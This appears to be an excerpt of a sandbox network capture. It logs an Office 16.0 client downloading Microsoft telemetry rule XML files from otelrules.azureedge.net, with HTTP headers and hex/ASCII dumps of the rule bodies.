2024-11-23 16:45:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:31 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:32 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164532Z-178bfbc474bscnbchC1NYCe7eg00000004y0000000004gtd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:32 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:32 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164533Z-174c587ffdfb74xqhC1TEBhabc000000034000000000hygt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:32 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:33 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164533Z-178bfbc474b9xljthC1NYCtw9400000004k000000000hnes x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:33 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: f000c210-c01e-008d-4155-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164534Z-15b8b599d88l2dpthC1TEBmzr0000000034g00000000as2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:34 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164534Z-174c587ffdf6b487hC1TEBydsn000000033000000000ez07 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:34 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164534Z-178bfbc474bq2pr7hC1NYCkfgg00000004sg00000000hquc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:35 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:35 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ce292e58-401e-00a3-2e0a-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164535Z-178bfbc474bp8mkvhC1NYCzqnn00000004p0000000002f0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:35 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:35 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164535Z-178bfbc474bgvl54hC1NYCsfuw00000004s0000000006tew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:36 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:36 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164536Z-174c587ffdfcj798hC1TEB9bq400000003cg00000000811b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:36 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:36 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:36 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: efe1277d-c01e-008d-7f4b-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164536Z-15b8b599d882zv28hC1TEBdchn000000030g00000000fkmr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:36 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:36 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:36 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: ccd0b474-201e-0096-421e-3dace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164536Z-178bfbc474b7cbwqhC1NYC8z4n00000004p0000000007n5v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:45:36 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:37 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:37 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e365756d-701e-0032-724d-3ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164537Z-15b8b599d88qw29phC1TEB5zag000000032000000000myuw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
